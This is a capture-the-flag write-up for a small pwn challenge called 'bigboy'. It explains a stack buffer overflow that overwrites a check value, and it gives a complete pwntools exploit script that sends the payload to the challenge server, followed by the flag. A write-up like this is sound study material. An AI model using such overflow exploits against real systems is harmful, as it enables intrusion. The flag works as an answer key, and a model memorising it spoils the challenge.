bigboi.md

bigboy 50 (pwn)

Solution

There's a buffer overflow on stack, just overwrite 0xDEADBEEF(buf + 0x14) to 0xCAF3BAEE to bypass the check.

Exploit

#!/usr/bin/env python3
from pwn import *
context(arch="amd64")

r = remote("pwn.chal.csaw.io", 9000)
r.send(b"a"*0x14 + p32(0xCAF3BAEE))
r.interactive()

Flag

flag{Y0u_Arrre_th3_Bi66Est_of_boiiiiis}